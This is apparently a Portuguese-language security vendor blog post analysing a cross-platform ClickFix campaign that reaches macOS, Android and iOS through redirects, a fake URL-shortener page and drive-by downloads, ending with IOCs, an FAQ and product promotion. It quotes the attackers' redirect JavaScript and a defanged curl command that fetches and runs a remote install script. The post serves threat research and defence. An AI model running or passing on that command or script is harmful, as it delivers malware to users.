Skip to main content
Blog
Attacks Blog

Ataques Implacáveis do Lado do Cliente a Visar Múltiplas Plataformas com o ClickFix

Neste artigo, analisamos uma variante recente do ClickFix que agora visa macOS, Android e iOS, recorrendo a redirecionamentos baseados no navegador, alertas de interface falsos e até técnicas de download drive-by.

May 28, 2025 Atualizado Jul 20, 2026 6 min read
Imagem de capa do ataque ClickFix
Índice

TL;DR: cadeia ClickFix com encurtador cutt.ly a atingir macOS, Android e iOS com tarball drive-by

  • Não é só Windows: O ClickFix foi catalogado como prompts do PowerShell no Windows e esquecido. Esse modelo mental é precisamente a razão pela qual a mesma cadeia de engenharia social funciona agora em terminais macOS, downloads drive-by no Android e tarballs protegidos por palavra-passe no iOS.
  • A cadeia de ataque: A cadeia começou com o idjhvn4m[.]pro a carregar JavaScript invulgarmente limpo, redirecionava através do kbmljxm[.]com e de um encurtador cutt.ly legítimo, e depois lançava um script de shell para macOS a partir do vuwzer[.]com, detetado por 10 motores, e uma carga móvel do iteslawow[.]com, detetada por 5 motores no VirusTotal. A cside captura o script real que cada utilizador recebe e utiliza deteção assistida por LLM para assinalar fluxos de transferência direcionados a sistemas operativos específicos.
  • Reveja a suposição: Se a sua equipa de endpoint descartou o ClickFix como um problema do Windows, reconsidere essa suposição esta semana. Os atacantes tornaram-se multiplataforma, e os scanners estáticos continuam a receber conteúdo limpo porque não conseguem ver a cadeia de redirecionamento que o visitante vê.

Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.

O que começou como um truque de engenharia social focado no Windows transformou-se numa ameaça multiplataforma do lado do cliente. Neste artigo, analisamos uma variante recente do ClickFix que agora visa macOS, Android e iOS, recorrendo a redirecionamentos baseados no navegador, alertas de interface falsos e técnicas de download drive-by.

O que é um ataque ClickFix?

Os ataques ClickFix não são novidade. O meu primeiro encontro com um foi em setembro de 2024:

Tweet a documentar um ataque ClickFix identificado em setembro de 2024
Tweet

Um ataque ClickFix é uma forma de engenharia social direcionada ou ataque do lado do cliente que explora o instinto do utilizador de "simplesmente resolver o problema". Normalmente começa com uma mensagem convincente que aponta para um suposto problema (como uma vulnerabilidade de segurança ou um problema num repositório). O utilizador é incentivado a clicar numa ligação ou a executar um comando, acreditando que está a resolver algo importante.

Neste exemplo de ataque, é pedido ao utilizador que execute um script no terminal. No Windows, isso significava PowerShell. A mesma técnica funciona também no macOS e no Linux. E, tal como aconteceu com o Windows, presumi que os utilizadores não cairiam nessa.

As suposições, no entanto, são um jogo perigoso em cibersegurança, o que infelizmente se provou mais uma vez.

Somos a cside e monitorizamos ataques de scripts de terceiros do lado do cliente, reforçando a proteção em tempo real do lado do cliente para sites e os seus utilizadores. Só nos últimos três meses, observámos mais de 300 mil sites comprometidos.

Esta é a segunda vez que noticiamos a evolução dos TTPs (Táticas, Técnicas e Procedimentos) dos atacantes.

Mas o que outrora era uma ameaça exclusiva do Windows, agora visa também outros sistemas operativos.

O ataque em detalhe

Recebemos um alerta relativo a JavaScript transferido de:

hxxps://idjhvn4m[.]pro?h=7bd350a4ed55a8faf2e45301d70d2&user=16

O script entregue:

(function () { var sitename = document.querySelector("meta[property='og:url']").getAttribute("content"); const mysite = new URL(sitename);const mysitename = `${mysite.protocol}//${mysite.hostname}`;var mytitle = document.querySelector("meta[property='og:title']").getAttribute("content"); var xtitle_spe = mytitle.replace(/[&\/\\#, +()$~%.'":*?<>{}]/g, '-'); var xtitle_spa = xtitle_spe.replace(/\s+/g, '-'); var oldurl = 'https://kbmljxm.com/?s={KEYWORD}&p=16'; var final_url_1 = oldurl.replace('{KEYWORD}', xtitle_spa);var final_url_2 = final_url_1.replace('{site}', mysitename); var id = 16; var successResponse = final_url_2; var elements = document.getElementsByClassName("buttonPress-"+16); for(var i = 0; i < elements.length; i++) {var anchor = elements[i];anchor.onclick = function() {window.open(successResponse, '_blank');}} })();

Este JavaScript não é altamente ofuscado, o que é invulgar neste tipo de ataques. Cria um manipulador de cliques para elementos com um nome de classe específico, que abre um URL num novo separador quando clicado. Eis o que faz:

  • Utiliza um URL modelo (hxxps://kbmljxm[.]com/?s={KEYWORD}&p=16)
  • Substitui {KEYWORD} pelo título processado da página
  • Associa manipuladores de clique a todos os elementos com a classe buttonPress-16
  • Quando clicados, estes elementos abrem o URL construído num novo separador

Abaixo está a cadeia de redirecionamento:

Separador de rede do navegador a mostrar o pedido na cadeia de redirecionamento
Separador de rede a mostrar o pedido
Código JavaScript que constrói o URL de redirecionamento malicioso e os manipuladores de clique
Código JavaScript

Cadeia de redirecionamento na interface

A página parece um encurtador de URL e pede ao utilizador que copie uma ligação. Os atacantes estão a abusar do cutt[.]ly, um encurtador de URL legítimo.

Quando um utilizador cola o URL encurtado no navegador, é redirecionado para:

Página falsa de encurtador de URL a abusar do cutt.ly, mostrada ao utilizador na cadeia de redirecionamento

Esta página imitada do encurtador de URL apresenta o seguinte pop-up:

"Cole a ligação que copiou na barra de endereço do navegador."

Pop-up a indicar ao utilizador para colar a ligação copiada na barra de endereço do navegador
"Cole a ligação que copiou na barra de endereço do navegador."

Depois, redireciona o utilizador para uma página de transferência (neste caso, para macOS):

Página falsa de transferência para macOS para a qual o utilizador é redirecionado
Depois, redireciona o utilizador para uma página de transferência (neste caso, para macOS):
/bin/bash -c "$(curl -fsSL hxxps://vuwzer[.]com/get/install.sh)"

O conteúdo deste ficheiro de shell é o seguinte, nesta captura de ecrã:

Conteúdo do script de shell malicioso install.sh

Este script de shell transfere depois um executável para macOS (detetado por 10 motores antivírus no VirusTotal).

Resultado do VirusTotal a mostrar o executável para macOS assinalado por 10 motores antivírus

Comportamento no Android e no iOS

Quando testámos isto no Android e no iOS, esperávamos uma variante do ClickFix. Em vez disso, encontrámos um ataque drive-by.

Um ataque drive-by é um tipo de ciberataque em que código malicioso é executado ou transferido para um dispositivo apenas por se visitar uma página web comprometida ou maliciosa. Não é necessário qualquer clique, instalação ou interação.

A página redirecionou-nos então para:

hxxps://iteslawow[.]com/?=ijn&diu=16&sid=npT
Página 'O ficheiro está pronto para transferência' mostrada no navegador móvel durante o ataque drive-by
"O ficheiro está pronto para transferência" no navegador móvel

Este site fez transferir um ficheiro .tar - protegido por palavra-passe com 7zip - que extraía e instalava o malware (detetado por 5 motores antivírus). Foi também detetado por 5 fornecedores no VirusTotal.

Foi detetado por 5 fornecedores no VirusTotal.

Resultado do VirusTotal a mostrar o malware móvel detetado por 5 fornecedores
Pontuação de 5 no VirusTotal

Tanto no Android como no Windows, foi utilizado este estilo de ataque drive-by.

Este ataque mostra até onde os atacantes estão a expandir o seu alcance. O que começou como uma campanha ClickFix específica para Windows visa agora macOS, Android e iOS, ampliando significativamente a escala da operação.

É mais um lembrete de como os ataques do lado do cliente se estão a espalhar amplamente, e das muitas formas que podem assumir, tudo isto explorando a confiança que os utilizadores depositam nas interações do navegador quando a segurança do lado do cliente é insuficiente ou mal aplicada.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Um ataque ClickFix é uma técnica de engenharia social que explora o instinto do utilizador de "simplesmente resolver o problema". O atacante mostra um erro ou alerta falso (aviso de segurança, problema num repositório, mensagem do sistema) e instrui o utilizador a executar um comando no terminal, colar código na consola do navegador ou clicar numa ligação maliciosa. O utilizador acredita estar a resolver um problema, mas na realidade está a executar a carga maliciosa do atacante.

Sim. O ClickFix começou no Windows com prompts do PowerShell, mas a cside já observou campanhas ativas direcionadas ao macOS (transferência de scripts de shell que obtêm executáveis do macOS), ao Android e ao iOS (downloads drive-by com ficheiros .tar protegidos por palavra-passe). A variante multiplataforma depende de redirecionamentos baseados no navegador e de alertas de interface falsos, em vez de ferramentas específicas do sistema operativo.

A campanha analisada neste artigo usou `idjhvn4m[.]pro` como servidor inicial de entrega de JavaScript, `kbmljxm[.]com` como intermediário de redirecionamento e `iteslawow[.]com` para a carga drive-by no Android e no iOS. As cargas da fase final foram assinaladas por 5 a 10 motores antivírus no VirusTotal. Os defensores devem tratar estes domínios como IOCs e verificar os registos de saída em busca de correspondências.

É necessária monitorização do runtime do lado do cliente. O comportamento malicioso ocorre depois de a página carregar, muitas vezes apenas para um subconjunto de visitantes com base na geografia, no dispositivo ou no referenciador. Os scanners estáticos não detetam estas cargas porque os atacantes identificam os scanners e servem conteúdo limpo. A cside captura o script real que cada utilizador recebe e utiliza deteção assistida por LLM para assinalar redirecionamentos, alertas falsos e fluxos de transferência direcionados a sistemas operativos específicos.

É uma evolução direta. O encontro de setembro de 2024 referido no artigo documentou a primeira variante no Windows. A campanha aqui descrita reutiliza o mesmo padrão de engenharia social, mas alarga a lista de sistemas operativos visados e passa de um fluxo de execução exclusivo do Windows para um mecanismo de entrega multi-SO com nova infraestrutura.

Monitore e proteja seus scripts de terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração

Quer ver isso em detalhe com um engenheiro?

Trinta minutos, no seu próprio site. Sem slides.

Agende uma demo personalizada para ver:

Como alcançar a conformidade com os requisitos 6.4.3 e 11.6.1 do PCI DSS em 1 dia
Por que scripts de terceiros são um risco de segurança para você e seus visitantes
Como monitorar vazamentos de privacidade e consentimento (RGPD, CCPA) em cada terceiro
Como conter abuso de cadastros, compartilhamento de contas e fraude de chargeback com device intelligence
Como detectar e controlar agentes de IA e bots que acessam seu site em tempo real

Prefere só mandar uma pergunta?

Procurando horários livres…

Apenas humanos de verdade. A gente saberia.

Problemas para agendar? Abrir o agendador em uma nova aba

O que você está tentando resolver?

Conte em uma linha e voltamos com algo útil, não com um discurso genérico.

Costumamos ajudar com:

Ver quais scripts de terceiros rodam no seu site
Evidências para PCI DSS 6.4.3 e 11.6.1
Bots, agentes de IA e roubo de contas

Prefere agendar um horário? Escolher um horário